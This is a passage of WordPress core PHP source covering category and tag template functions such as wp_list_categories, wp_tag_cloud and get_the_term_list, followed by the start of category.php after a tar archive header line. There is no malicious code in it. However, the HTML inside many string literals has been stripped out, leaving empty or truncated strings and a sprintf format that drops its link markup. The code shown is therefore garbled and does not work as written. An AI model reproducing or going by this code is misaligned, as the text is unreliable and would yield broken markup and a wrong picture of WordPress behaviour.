term name. * * @since 1.2.0 * * @see wp_dropdown_categories() * * @param string $element Category name. * @param WP_Term|null $category The category object, or null if there's no corresponding category. */ $show_option_none = apply_filters( 'list_cats', $parsed_args['show_option_none'], null ); $output .= "\t\n"; } if ( ! empty( $categories ) ) { if ( $parsed_args['show_option_all'] ) { /** This filter is documented in wp-includes/category-template.php */ $show_option_all = apply_filters( 'list_cats', $parsed_args['show_option_all'], null ); $selected = ( '0' === (string) $parsed_args['selected'] ) ? " selected='selected'" : ''; $output .= "\t\n"; } if ( $parsed_args['show_option_none'] ) { /** This filter is documented in wp-includes/category-template.php */ $show_option_none = apply_filters( 'list_cats', $parsed_args['show_option_none'], null ); $selected = selected( $option_none_value, $parsed_args['selected'], false ); $output .= "\t\n"; } if ( $parsed_args['hierarchical'] ) { $depth = $parsed_args['depth']; // Walk the full depth. } else { $depth = -1; // Flat. } $output .= walk_category_dropdown_tree( $categories, $depth, $parsed_args ); } if ( ! $parsed_args['hide_if_empty'] || ! empty( $categories ) ) { $output .= "\n"; } /** * Filters the taxonomy drop-down output. * * @since 2.1.0 * * @param string $output HTML output. * @param array $parsed_args Arguments used to build the drop-down. */ $output = apply_filters( 'wp_dropdown_cats', $output, $parsed_args ); if ( $parsed_args['echo'] ) { echo $output; } return $output; } /** * Displays or retrieves the HTML list of categories. * * @since 2.1.0 * @since 4.4.0 Introduced the `hide_title_if_empty` and `separator` arguments. * @since 4.4.0 The `current_category` argument was modified to optionally accept an array of values. * * @param array|string $args { * Array of optional arguments. See get_categories(), get_terms(), and WP_Term_Query::__construct() * for information on additional accepted arguments. * * @type int|int[] $current_category ID of category, or array of IDs of categories, that should get the * 'current-cat' class. Default 0. * @type int $depth Category depth. Used for tab indentation. Default 0. * @type bool|int $echo Whether to echo or return the generated markup. Accepts 0, 1, or their * bool equivalents. Default 1. * @type int[]|string $exclude Array or comma/space-separated string of term IDs to exclude. * If `$hierarchical` is true, descendants of `$exclude` terms will also * be excluded; see `$exclude_tree`. See get_terms(). * Default empty string. * @type int[]|string $exclude_tree Array or comma/space-separated string of term IDs to exclude, along * with their descendants. See get_terms(). Default empty string. * @type string $feed Text to use for the feed link. Default 'Feed for all posts filed * under [cat name]'. * @type string $feed_image URL of an image to use for the feed link. Default empty string. * @type string $feed_type Feed type. Used to build feed link. See get_term_feed_link(). * Default empty string (default feed). * @type bool $hide_title_if_empty Whether to hide the `$title_li` element if there are no terms in * the list. Default false (title will always be shown). * @type string $separator Separator between links. Default '
    '. * @type bool|int $show_count Whether to include post counts. Accepts 0, 1, or their bool equivalents. * Default 0. * @type string $show_option_all Text to display for showing all categories. Default empty string. * @type string $show_option_none Text to display for the 'no categories' option. * Default 'No categories'. * @type string $style The style used to display the categories list. If 'list', categories * will be output as an unordered list. If left empty or another value, * categories will be output separated by `
    ` tags. Default 'list'. * @type string $taxonomy Name of the taxonomy to retrieve. Default 'category'. * @type string $title_li Text to use for the list title `
  • ` element. Pass an empty string * to disable. Default 'Categories'. * @type bool|int $use_desc_for_title Whether to use the category description as the title attribute. * Accepts 0, 1, or their bool equivalents. Default 1. * } * @return void|string|false Void if 'echo' argument is true, HTML list of categories if 'echo' is false. * False if the taxonomy does not exist. */ function wp_list_categories( $args = '' ) { $defaults = array( 'child_of' => 0, 'current_category' => 0, 'depth' => 0, 'echo' => 1, 'exclude' => '', 'exclude_tree' => '', 'feed' => '', 'feed_image' => '', 'feed_type' => '', 'hide_empty' => 1, 'hide_title_if_empty' => false, 'hierarchical' => true, 'order' => 'ASC', 'orderby' => 'name', 'separator' => '
    ', 'show_count' => 0, 'show_option_all' => '', 'show_option_none' => __( 'No categories' ), 'style' => 'list', 'taxonomy' => 'category', 'title_li' => __( 'Categories' ), 'use_desc_for_title' => 1, ); $parsed_args = wp_parse_args( $args, $defaults ); if ( ! isset( $parsed_args['pad_counts'] ) && $parsed_args['show_count'] && $parsed_args['hierarchical'] ) { $parsed_args['pad_counts'] = true; } // Descendants of exclusions should be excluded too. if ( true == $parsed_args['hierarchical'] ) { $exclude_tree = array(); if ( $parsed_args['exclude_tree'] ) { $exclude_tree = array_merge( $exclude_tree, wp_parse_id_list( $parsed_args['exclude_tree'] ) ); } if ( $parsed_args['exclude'] ) { $exclude_tree = array_merge( $exclude_tree, wp_parse_id_list( $parsed_args['exclude'] ) ); } $parsed_args['exclude_tree'] = $exclude_tree; $parsed_args['exclude'] = ''; } if ( ! isset( $parsed_args['class'] ) ) { $parsed_args['class'] = ( 'category' === $parsed_args['taxonomy'] ) ? 'categories' : $parsed_args['taxonomy']; } if ( ! taxonomy_exists( $parsed_args['taxonomy'] ) ) { return false; } $show_option_all = $parsed_args['show_option_all']; $show_option_none = $parsed_args['show_option_none']; $categories = get_categories( $parsed_args ); $output = ''; if ( $parsed_args['title_li'] && 'list' === $parsed_args['style'] && ( ! empty( $categories ) || ! $parsed_args['hide_title_if_empty'] ) ) { $output = '
  • ' . $parsed_args['title_li'] . '
      '; } if ( empty( $categories ) ) { if ( ! empty( $show_option_none ) ) { if ( 'list' === $parsed_args['style'] ) { $output .= '
    • ' . $show_option_none . '
    • '; } else { $output .= $show_option_none; } } } else { if ( ! empty( $show_option_all ) ) { $posts_page = ''; // For taxonomies that belong only to custom post types, point to a valid archive. $taxonomy_object = get_taxonomy( $parsed_args['taxonomy'] ); if ( ! in_array( 'post', $taxonomy_object->object_type, true ) && ! in_array( 'page', $taxonomy_object->object_type, true ) ) { foreach ( $taxonomy_object->object_type as $object_type ) { $_object_type = get_post_type_object( $object_type ); // Grab the first one. if ( ! empty( $_object_type->has_archive ) ) { $posts_page = get_post_type_archive_link( $object_type ); break; } } } // Fallback for the 'All' link is the posts page. if ( ! $posts_page ) { if ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_for_posts' ) ) { $posts_page = get_permalink( get_option( 'page_for_posts' ) ); } else { $posts_page = home_url( '/' ); } } $posts_page = esc_url( $posts_page ); if ( 'list' === $parsed_args['style'] ) { $output .= "
    • $show_option_all
    • "; } else { $output .= "$show_option_all"; } } if ( empty( $parsed_args['current_category'] ) && ( is_category() || is_tax() || is_tag() ) ) { $current_term_object = get_queried_object(); if ( $current_term_object && $parsed_args['taxonomy'] === $current_term_object->taxonomy ) { $parsed_args['current_category'] = get_queried_object_id(); } } if ( $parsed_args['hierarchical'] ) { $depth = $parsed_args['depth']; } else { $depth = -1; // Flat. } $output .= walk_category_tree( $categories, $depth, $parsed_args ); } if ( $parsed_args['title_li'] && 'list' === $parsed_args['style'] && ( ! empty( $categories ) || ! $parsed_args['hide_title_if_empty'] ) ) { $output .= '
  • '; } /** * Filters the HTML output of a taxonomy list. * * @since 2.1.0 * * @param string $output HTML output. * @param array $args An array of taxonomy-listing arguments. See wp_list_categories() * for information on accepted arguments. */ $html = apply_filters( 'wp_list_categories', $output, $args ); if ( $parsed_args['echo'] ) { echo $html; } else { return $html; } } /** * Displays a tag cloud. * * Outputs a list of tags in what is called a 'tag cloud', where the size of each tag * is determined by how many times that particular tag has been assigned to posts. * * @since 2.3.0 * @since 2.8.0 Added the `taxonomy` argument. * @since 4.8.0 Added the `show_count` argument. * * @param array|string $args { * Optional. Array or string of arguments for displaying a tag cloud. See wp_generate_tag_cloud() * and get_terms() for the full lists of arguments that can be passed in `$args`. * * @type int $number The number of tags to display. Accepts any positive integer * or zero to return all. Default 45. * @type string $link Whether to display term editing links or term permalinks. * Accepts 'edit' and 'view'. Default 'view'. * @type string $post_type The post type. Used to highlight the proper post type menu * on the linked edit page. Defaults to the first post type * associated with the taxonomy. * @type bool $echo Whether or not to echo the return value. Default true. * } * @return void|string|string[] Void if 'echo' argument is true, or on failure. Otherwise, tag cloud * as a string or an array, depending on 'format' argument. */ function wp_tag_cloud( $args = '' ) { $defaults = array( 'smallest' => 8, 'largest' => 22, 'unit' => 'pt', 'number' => 45, 'format' => 'flat', 'separator' => "\n", 'orderby' => 'name', 'order' => 'ASC', 'exclude' => '', 'include' => '', 'link' => 'view', 'taxonomy' => 'post_tag', 'post_type' => '', 'echo' => true, 'show_count' => 0, ); $args = wp_parse_args( $args, $defaults ); $tags = get_terms( array_merge( $args, array( 'orderby' => 'count', 'order' => 'DESC', ) ) ); // Always query top tags. if ( empty( $tags ) || is_wp_error( $tags ) ) { return; } foreach ( $tags as $key => $tag ) { if ( 'edit' === $args['link'] ) { $link = get_edit_term_link( $tag->term_id, $tag->taxonomy, $args['post_type'] ); } else { $link = get_term_link( (int) $tag->term_id, $tag->taxonomy ); } if ( is_wp_error( $link ) ) { return; } $tags[ $key ]->link = $link; $tags[ $key ]->id = $tag->term_id; } // Here's where those top tags get sorted according to $args. $return = wp_generate_tag_cloud( $tags, $args ); /** * Filters the tag cloud output. * * @since 2.3.0 * * @param string|string[] $return Tag cloud as a string or an array, depending on 'format' argument. * @param array $args An array of tag cloud arguments. See wp_tag_cloud() * for information on accepted arguments. */ $return = apply_filters( 'wp_tag_cloud', $return, $args ); if ( 'array' === $args['format'] || empty( $args['echo'] ) ) { return $return; } echo $return; } /** * Default topic count scaling for tag links. * * @since 2.9.0 * * @param int $count Number of posts with that tag. * @return int Scaled count. */ function default_topic_count_scale( $count ) { return round( log10( $count + 1 ) * 100 ); } /** * Generates a tag cloud (heatmap) from provided data. * * @todo Complete functionality. * @since 2.3.0 * @since 4.8.0 Added the `show_count` argument. * * @param WP_Term[] $tags Array of WP_Term objects to generate the tag cloud for. * @param string|array $args { * Optional. Array or string of arguments for generating a tag cloud. * * @type int $smallest Smallest font size used to display tags. Paired * with the value of `$unit`, to determine CSS text * size unit. Default 8 (pt). * @type int $largest Largest font size used to display tags. Paired * with the value of `$unit`, to determine CSS text * size unit. Default 22 (pt). * @type string $unit CSS text size unit to use with the `$smallest` * and `$largest` values. Accepts any valid CSS text * size unit. Default 'pt'. * @type int $number The number of tags to return. Accepts any * positive integer or zero to return all. * Default 0. * @type string $format Format to display the tag cloud in. Accepts 'flat' * (tags separated with spaces), 'list' (tags displayed * in an unordered list), or 'array' (returns an array). * Default 'flat'. * @type string $separator HTML or text to separate the tags. Default "\n" (newline). * @type string $orderby Value to order tags by. Accepts 'name' or 'count'. * Default 'name'. The {@see 'tag_cloud_sort'} filter * can also affect how tags are sorted. * @type string $order How to order the tags. Accepts 'ASC' (ascending), * 'DESC' (descending), or 'RAND' (random). Default 'ASC'. * @type int|bool $filter Whether to enable filtering of the final output * via {@see 'wp_generate_tag_cloud'}. Default 1. * @type string $topic_count_text Nooped plural text from _n_noop() to supply to * tag counts. Default null. * @type callable $topic_count_text_callback Callback used to generate nooped plural text for * tag counts based on the count. Default null. * @type callable $topic_count_scale_callback Callback used to determine the tag count scaling * value. Default default_topic_count_scale(). * @type bool|int $show_count Whether to display the tag counts. Default 0. Accepts * 0, 1, or their bool equivalents. * } * @return string|string[] Tag cloud as a string or an array, depending on 'format' argument. */ function wp_generate_tag_cloud( $tags, $args = '' ) { $defaults = array( 'smallest' => 8, 'largest' => 22, 'unit' => 'pt', 'number' => 0, 'format' => 'flat', 'separator' => "\n", 'orderby' => 'name', 'order' => 'ASC', 'topic_count_text' => null, 'topic_count_text_callback' => null, 'topic_count_scale_callback' => 'default_topic_count_scale', 'filter' => 1, 'show_count' => 0, ); $args = wp_parse_args( $args, $defaults ); $return = ( 'array' === $args['format'] ) ? array() : ''; if ( empty( $tags ) ) { return $return; } // Juggle topic counts. if ( isset( $args['topic_count_text'] ) ) { // First look for nooped plural support via topic_count_text. $translate_nooped_plural = $args['topic_count_text']; } elseif ( ! empty( $args['topic_count_text_callback'] ) ) { // Look for the alternative callback style. Ignore the previous default. if ( 'default_topic_count_text' === $args['topic_count_text_callback'] ) { /* translators: %s: Number of items (tags). */ $translate_nooped_plural = _n_noop( '%s item', '%s items' ); } else { $translate_nooped_plural = false; } } elseif ( isset( $args['single_text'] ) && isset( $args['multiple_text'] ) ) { // If no callback exists, look for the old-style single_text and multiple_text arguments. // phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralSingle,WordPress.WP.I18n.NonSingularStringLiteralPlural $translate_nooped_plural = _n_noop( $args['single_text'], $args['multiple_text'] ); } else { // This is the default for when no callback, plural, or argument is passed in. /* translators: %s: Number of items (tags). */ $translate_nooped_plural = _n_noop( '%s item', '%s items' ); } /** * Filters how the items in a tag cloud are sorted. * * @since 2.8.0 * * @param WP_Term[] $tags Ordered array of terms. * @param array $args An array of tag cloud arguments. */ $tags_sorted = apply_filters( 'tag_cloud_sort', $tags, $args ); if ( empty( $tags_sorted ) ) { return $return; } if ( $tags_sorted !== $tags ) { $tags = $tags_sorted; unset( $tags_sorted ); } else { if ( 'RAND' === $args['order'] ) { shuffle( $tags ); } else { // SQL cannot save you; this is a second (potentially different) sort on a subset of data. if ( 'name' === $args['orderby'] ) { uasort( $tags, '_wp_object_name_sort_cb' ); } else { uasort( $tags, '_wp_object_count_sort_cb' ); } if ( 'DESC' === $args['order'] ) { $tags = array_reverse( $tags, true ); } } } if ( $args['number'] > 0 ) { $tags = array_slice( $tags, 0, $args['number'] ); } $counts = array(); $real_counts = array(); // For the alt tag. foreach ( (array) $tags as $key => $tag ) { $real_counts[ $key ] = $tag->count; $counts[ $key ] = call_user_func( $args['topic_count_scale_callback'], $tag->count ); } $min_count = min( $counts ); $spread = max( $counts ) - $min_count; if ( $spread <= 0 ) { $spread = 1; } $font_spread = $args['largest'] - $args['smallest']; if ( $font_spread < 0 ) { $font_spread = 1; } $font_step = $font_spread / $spread; $aria_label = false; /* * Determine whether to output an 'aria-label' attribute with the tag name and count. * When tags have a different font size, they visually convey an important information * that should be available to assistive technologies too. On the other hand, sometimes * themes set up the Tag Cloud to display all tags with the same font size (setting * the 'smallest' and 'largest' arguments to the same value). * In order to always serve the same content to all users, the 'aria-label' gets printed out: * - when tags have a different size * - when the tag count is displayed (for example when users check the checkbox in the * Tag Cloud widget), regardless of the tags font size */ if ( $args['show_count'] || 0 !== $font_spread ) { $aria_label = true; } // Assemble the data that will be used to generate the tag cloud markup. $tags_data = array(); foreach ( $tags as $key => $tag ) { $tag_id = isset( $tag->id ) ? $tag->id : $key; $count = $counts[ $key ]; $real_count = $real_counts[ $key ]; if ( $translate_nooped_plural ) { $formatted_count = sprintf( translate_nooped_plural( $translate_nooped_plural, $real_count ), number_format_i18n( $real_count ) ); } else { $formatted_count = call_user_func( $args['topic_count_text_callback'], $real_count, $tag, $args ); } $tags_data[] = array( 'id' => $tag_id, 'url' => ( '#' !== $tag->link ) ? $tag->link : '#', 'role' => ( '#' !== $tag->link ) ? '' : ' role="button"', 'name' => $tag->name, 'formatted_count' => $formatted_count, 'slug' => $tag->slug, 'real_count' => $real_count, 'class' => 'tag-cloud-link tag-link-' . $tag_id, 'font_size' => $args['smallest'] + ( $count - $min_count ) * $font_step, 'aria_label' => $aria_label ? sprintf( ' aria-label="%1$s (%2$s)"', esc_attr( $tag->name ), esc_attr( $formatted_count ) ) : '', 'show_count' => $args['show_count'] ? ' (' . $real_count . ')' : '', ); } /** * Filters the data used to generate the tag cloud. * * @since 4.3.0 * * @param array[] $tags_data An array of term data arrays for terms used to generate the tag cloud. */ $tags_data = apply_filters( 'wp_generate_tag_cloud_data', $tags_data ); $a = array(); // Generate the output links array. foreach ( $tags_data as $key => $tag_data ) { $class = $tag_data['class'] . ' tag-link-position-' . ( $key + 1 ); $a[] = sprintf( '%6$s%7$s', esc_url( $tag_data['url'] ), $tag_data['role'], esc_attr( $class ), esc_attr( str_replace( ',', '.', $tag_data['font_size'] ) . $args['unit'] ), $tag_data['aria_label'], esc_html( $tag_data['name'] ), $tag_data['show_count'] ); } switch ( $args['format'] ) { case 'array': $return =& $a; break; case 'list': /* * Force role="list", as some browsers (sic: Safari 10) don't expose to assistive * technologies the default role when the list is styled with `list-style: none`. * Note: this is redundant but doesn't harm. */ $return = "
      \n\t
    • "; $return .= implode( "
    • \n\t
    • ", $a ); $return .= "
    • \n
    \n"; break; default: $return = implode( $args['separator'], $a ); break; } if ( $args['filter'] ) { /** * Filters the generated output of a tag cloud. * * The filter is only evaluated if a true value is passed * to the $filter argument in wp_generate_tag_cloud(). * * @since 2.3.0 * * @see wp_generate_tag_cloud() * * @param string[]|string $return String containing the generated HTML tag cloud output * or an array of tag links if the 'format' argument * equals 'array'. * @param WP_Term[] $tags An array of terms used in the tag cloud. * @param array $args An array of wp_generate_tag_cloud() arguments. */ return apply_filters( 'wp_generate_tag_cloud', $return, $tags, $args ); } else { return $return; } } /** * Serves as a callback for comparing objects based on name. * * Used with `uasort()`. * * @since 3.1.0 * @access private * * @param object $a The first object to compare. * @param object $b The second object to compare. * @return int Negative number if `$a->name` is less than `$b->name`, zero if they are equal, * or greater than zero if `$a->name` is greater than `$b->name`. */ function _wp_object_name_sort_cb( $a, $b ) { return strnatcasecmp( $a->name, $b->name ); } /** * Serves as a callback for comparing objects based on count. * * Used with `uasort()`. * * @since 3.1.0 * @access private * * @param object $a The first object to compare. * @param object $b The second object to compare. * @return bool Whether the count value for `$a` is greater than the count value for `$b`. */ function _wp_object_count_sort_cb( $a, $b ) { return ( $a->count > $b->count ); } // // Helper functions. // /** * Retrieves HTML list content for category list. * * @since 2.1.0 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @uses Walker_Category to create HTML list content. * @see Walker::walk() for parameters and return description. * * @param mixed ...$args Elements array, maximum hierarchical depth and optional additional arguments. * @return string */ function walk_category_tree( ...$args ) { // The user's options are the third parameter. if ( empty( $args[2]['walker'] ) || ! ( $args[2]['walker'] instanceof Walker ) ) { $walker = new Walker_Category; } else { /** * @var Walker $walker */ $walker = $args[2]['walker']; } return $walker->walk( ...$args ); } /** * Retrieves HTML dropdown (select) content for category list. * * @since 2.1.0 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @uses Walker_CategoryDropdown to create HTML dropdown content. * @see Walker::walk() for parameters and return description. * * @param mixed ...$args Elements array, maximum hierarchical depth and optional additional arguments. * @return string */ function walk_category_dropdown_tree( ...$args ) { // The user's options are the third parameter. if ( empty( $args[2]['walker'] ) || ! ( $args[2]['walker'] instanceof Walker ) ) { $walker = new Walker_CategoryDropdown; } else { /** * @var Walker $walker */ $walker = $args[2]['walker']; } return $walker->walk( ...$args ); } // // Tags. // /** * Retrieves the link to the tag. * * @since 2.3.0 * * @see get_term_link() * * @param int|object $tag Tag ID or object. * @return string Link on success, empty string if tag does not exist. */ function get_tag_link( $tag ) { return get_category_link( $tag ); } /** * Retrieves the tags for a post. * * @since 2.3.0 * * @param int|WP_Post $post_id Post ID or object. * @return WP_Term[]|false|WP_Error Array of WP_Term objects on success, false if there are no terms * or the post does not exist, WP_Error on failure. */ function get_the_tags( $post_id = 0 ) { $terms = get_the_terms( $post_id, 'post_tag' ); /** * Filters the array of tags for the given post. * * @since 2.3.0 * * @see get_the_terms() * * @param WP_Term[]|false|WP_Error $terms Array of WP_Term objects on success, false if there are no terms * or the post does not exist, WP_Error on failure. */ return apply_filters( 'get_the_tags', $terms ); } /** * Retrieves the tags for a post formatted as a string. * * @since 2.3.0 * * @param string $before Optional. String to use before the tags. Default empty. * @param string $sep Optional. String to use between the tags. Default empty. * @param string $after Optional. String to use after the tags. Default empty. * @param int $post_id Optional. Post ID. Defaults to the current post ID. * @return string|false|WP_Error A list of tags on success, false if there are no terms, * WP_Error on failure. */ function get_the_tag_list( $before = '', $sep = '', $after = '', $post_id = 0 ) { $tag_list = get_the_term_list( $post_id, 'post_tag', $before, $sep, $after ); /** * Filters the tags list for a given post. * * @since 2.3.0 * * @param string $tag_list List of tags. * @param string $before String to use before the tags. * @param string $sep String to use between the tags. * @param string $after String to use after the tags. * @param int $post_id Post ID. */ return apply_filters( 'the_tags', $tag_list, $before, $sep, $after, $post_id ); } /** * Displays the tags for a post. * * @since 2.3.0 * * @param string $before Optional. String to use before the tags. Defaults to 'Tags:'. * @param string $sep Optional. String to use between the tags. Default ', '. * @param string $after Optional. String to use after the tags. Default empty. */ function the_tags( $before = null, $sep = ', ', $after = '' ) { if ( null === $before ) { $before = __( 'Tags: ' ); } $the_tags = get_the_tag_list( $before, $sep, $after ); if ( ! is_wp_error( $the_tags ) ) { echo $the_tags; } } /** * Retrieves tag description. * * @since 2.8.0 * * @param int $tag Optional. Tag ID. Defaults to the current tag ID. * @return string Tag description, if available. */ function tag_description( $tag = 0 ) { return term_description( $tag ); } /** * Retrieves term description. * * @since 2.8.0 * @since 4.9.2 The `$taxonomy` parameter was deprecated. * * @param int $term Optional. Term ID. Defaults to the current term ID. * @param null $deprecated Deprecated. Not used. * @return string Term description, if available. */ function term_description( $term = 0, $deprecated = null ) { if ( ! $term && ( is_tax() || is_tag() || is_category() ) ) { $term = get_queried_object(); if ( $term ) { $term = $term->term_id; } } $description = get_term_field( 'description', $term ); return is_wp_error( $description ) ? '' : $description; } /** * Retrieves the terms of the taxonomy that are attached to the post. * * @since 2.5.0 * * @param int|WP_Post $post Post ID or object. * @param string $taxonomy Taxonomy name. * @return WP_Term[]|false|WP_Error Array of WP_Term objects on success, false if there are no terms * or the post does not exist, WP_Error on failure. */ function get_the_terms( $post, $taxonomy ) { $post = get_post( $post ); if ( ! $post ) { return false; } $terms = get_object_term_cache( $post->ID, $taxonomy ); if ( false === $terms ) { $terms = wp_get_object_terms( $post->ID, $taxonomy ); if ( ! is_wp_error( $terms ) ) { $term_ids = wp_list_pluck( $terms, 'term_id' ); wp_cache_add( $post->ID, $term_ids, $taxonomy . '_relationships' ); } } /** * Filters the list of terms attached to the given post. * * @since 3.1.0 * * @param WP_Term[]|WP_Error $terms Array of attached terms, or WP_Error on failure. * @param int $post_id Post ID. * @param string $taxonomy Name of the taxonomy. */ $terms = apply_filters( 'get_the_terms', $terms, $post->ID, $taxonomy ); if ( empty( $terms ) ) { return false; } return $terms; } /** * Retrieves a post's terms as a list with specified format. * * Terms are linked to their respective term listing pages. * * @since 2.5.0 * * @param int $post_id Post ID. * @param string $taxonomy Taxonomy name. * @param string $before Optional. String to use before the terms. Default empty. * @param string $sep Optional. String to use between the terms. Default empty. * @param string $after Optional. String to use after the terms. Default empty. * @return string|false|WP_Error A list of terms on success, false if there are no terms, * WP_Error on failure. */ function get_the_term_list( $post_id, $taxonomy, $before = '', $sep = '', $after = '' ) { $terms = get_the_terms( $post_id, $taxonomy ); if ( is_wp_error( $terms ) ) { return $terms; } if ( empty( $terms ) ) { return false; } $links = array(); foreach ( $terms as $term ) { $link = get_term_link( $term, $taxonomy ); if ( is_wp_error( $link ) ) { return $link; } $links[] = ''; } /** * Filters the term links for a given taxonomy. * * The dynamic portion of the filter name, `$taxonomy`, refers * to the taxonomy slug. * * @since 2.5.0 * * @param string[] $links An array of term links. */ $term_links = apply_filters( "term_links-{$taxonomy}", $links ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores return $before . implode( $sep, $term_links ) . $after; } /** * Retrieves term parents with separator. * * @since 4.8.0 * * @param int $term_id Term ID. * @param string $taxonomy Taxonomy name. * @param string|array $args { * Array of optional arguments. * * @type string $format Use term names or slugs for display. Accepts 'name' or 'slug'. * Default 'name'. * @type string $separator Separator for between the terms. Default '/'. * @type bool $link Whether to format as a link. Default true. * @type bool $inclusive Include the term to get the parents for. Default true. * } * @return string|WP_Error A list of term parents on success, WP_Error or empty string on failure. */ function get_term_parents_list( $term_id, $taxonomy, $args = array() ) { $list = ''; $term = get_term( $term_id, $taxonomy ); if ( is_wp_error( $term ) ) { return $term; } if ( ! $term ) { return $list; } $term_id = $term->term_id; $defaults = array( 'format' => 'name', 'separator' => '/', 'link' => true, 'inclusive' => true, ); $args = wp_parse_args( $args, $defaults ); foreach ( array( 'link', 'inclusive' ) as $bool ) { $args[ $bool ] = wp_validate_boolean( $args[ $bool ] ); } $parents = get_ancestors( $term_id, $taxonomy, 'taxonomy' ); if ( $args['inclusive'] ) { array_unshift( $parents, $term_id ); } foreach ( array_reverse( $parents ) as $term_id ) { $parent = get_term( $term_id, $taxonomy ); $name = ( 'slug' === $args['format'] ) ? $parent->slug : $parent->name; if ( $args['link'] ) { $list .= '' . $name . '' . $args['separator']; } else { $list .= $name . $args['separator']; } } return $list; } /** * Displays the terms for a post in a list. * * @since 2.5.0 * * @param int $post_id Post ID. * @param string $taxonomy Taxonomy name. * @param string $before Optional. String to use before the terms. Default empty. * @param string $sep Optional. String to use between the terms. Default ', '. * @param string $after Optional. String to use after the terms. Default empty. * @return void|false Void on success, false on failure. */ function the_terms( $post_id, $taxonomy, $before = '', $sep = ', ', $after = '' ) { $term_list = get_the_term_list( $post_id, $taxonomy, $before, $sep, $after ); if ( is_wp_error( $term_list ) ) { return false; } /** * Filters the list of terms to display. * * @since 2.9.0 * * @param string $term_list List of terms to display. * @param string $taxonomy The taxonomy name. * @param string $before String to use before the terms. * @param string $sep String to use between the terms. * @param string $after String to use after the terms. */ echo apply_filters( 'the_terms', $term_list, $taxonomy, $before, $sep, $after ); } /** * Checks if the current post has any of given category. * * The given categories are checked against the post's categories' term_ids, names and slugs. * Categories given as integers will only be checked against the post's categories' term_ids. * * If no categories are given, determines if post has any categories. * * @since 3.1.0 * * @param string|int|array $category Optional. The category name/term_id/slug, * or an array of them to check for. Default empty. * @param int|object $post Optional. Post to check instead of the current post. * @return bool True if the current post has any of the given categories * (or any category, if no category specified). False otherwise. */ function has_category( $category = '', $post = null ) { return has_term( $category, 'category', $post ); } /** * Checks if the current post has any of given tags. * * The given tags are checked against the post's tags' term_ids, names and slugs. * Tags given as integers will only be checked against the post's tags' term_ids. * * If no tags are given, determines if post has any tags. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.6.0 * @since 2.7.0 Tags given as integers are only checked against * the post's tags' term_ids, not names or slugs. * @since 2.7.0 Can be used outside of the WordPress Loop if `$post` is provided. * * @param string|int|array $tag Optional. The tag name/term_id/slug, * or an array of them to check for. Default empty. * @param int|object $post Optional. Post to check instead of the current post. * @return bool True if the current post has any of the given tags * (or any tag, if no tag specified). False otherwise. */ function has_tag( $tag = '', $post = null ) { return has_term( $tag, 'post_tag', $post ); } /** * Checks if the current post has any of given terms. * * The given terms are checked against the post's terms' term_ids, names and slugs. * Terms given as integers will only be checked against the post's terms' term_ids. * * If no terms are given, determines if post has any terms. * * @since 3.1.0 * * @param string|int|array $term Optional. The term name/term_id/slug, * or an array of them to check for. Default empty. * @param string $taxonomy Optional. Taxonomy name. Default empty. * @param int|WP_Post $post Optional. Post to check instead of the current post. * @return bool True if the current post has any of the given terms * (or any term, if no term specified). False otherwise. */ function has_term( $term = '', $taxonomy = '', $post = null ) { $post = get_post( $post ); if ( ! $post ) { return false; } $r = is_object_in_term( $post->ID, $taxonomy, $term ); if ( is_wp_error( $r ) ) { return false; } return $r; } category.php000064400000030650151202620300007065 0ustar00 'category' ); $args = wp_parse_args( $args, $defaults ); /** * Filters the taxonomy used to retrieve terms when calling get_categories(). * * @since 2.7.0 * * @param string $taxonomy Taxonomy to retrieve terms from. * @param array $args An array of arguments. See get_terms(). */ $args['taxonomy'] = apply_filters( 'get_categories_taxonomy', $args['taxonomy'], $args ); // Back compat. if ( isset( $args['type'] ) && 'link' === $args['type'] ) { _deprecated_argument( __FUNCTION__, '3.0.0', sprintf( /* translators: 1: "type => link", 2: "taxonomy => link_category" */ __( '%1$s is deprecated. Use %2$s instead.' ), 'type => link', 'taxonomy => link_category' ) ); $args['taxonomy'] = 'link_category'; } $categories = get_terms( $args ); if ( is_wp_error( $categories ) ) { $categories = array(); } else { $categories = (array) $categories; foreach ( array_keys( $categories ) as $k ) { _make_cat_compat( $categories[ $k ] ); } } return $categories; } /** * Retrieves category data given a category ID or category object. * * If you pass the $category parameter an object, which is assumed to be the * category row object retrieved the database. It will cache the category data. * * If you pass $category an integer of the category ID, then that category will * be retrieved from the database, if it isn't already cached, and pass it back. * * If you look at get_term(), then both types will be passed through several * filters and finally sanitized based on the $filter parameter value. * * @since 1.5.1 * * @param int|object $category Category ID or category row object. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Term object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string $filter Optional. How to sanitize category fields. Default 'raw'. * @return object|array|WP_Error|null Category data in type defined by $output parameter. * WP_Error if $category is empty, null if it does not exist. */ function get_category( $category, $output = OBJECT, $filter = 'raw' ) { $category = get_term( $category, 'category', $output, $filter ); if ( is_wp_error( $category ) ) { return $category; } _make_cat_compat( $category ); return $category; } /** * Retrieves a category based on URL containing the category slug. * * Breaks the $category_path parameter up to get the category slug. * * Tries to find the child path and will return it. If it doesn't find a * match, then it will return the first category matching slug, if $full_match, * is set to false. If it does not, then it will return null. * * It is also possible that it will return a WP_Error object on failure. Check * for it when using this function. * * @since 2.1.0 * * @param string $category_path URL containing category slugs. * @param bool $full_match Optional. Whether full path should be matched. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Term object, an associative array, or a numeric array, * respectively. Default OBJECT. * @return WP_Term|array|WP_Error|null Type is based on $output value. */ function get_category_by_path( $category_path, $full_match = true, $output = OBJECT ) { $category_path = rawurlencode( urldecode( $category_path ) ); $category_path = str_replace( '%2F', '/', $category_path ); $category_path = str_replace( '%20', ' ', $category_path ); $category_paths = '/' . trim( $category_path, '/' ); $leaf_path = sanitize_title( basename( $category_paths ) ); $category_paths = explode( '/', $category_paths ); $full_path = ''; foreach ( (array) $category_paths as $pathdir ) { $full_path .= ( '' !== $pathdir ? '/' : '' ) . sanitize_title( $pathdir ); } $categories = get_terms( array( 'taxonomy' => 'category', 'get' => 'all', 'slug' => $leaf_path, ) ); if ( empty( $categories ) 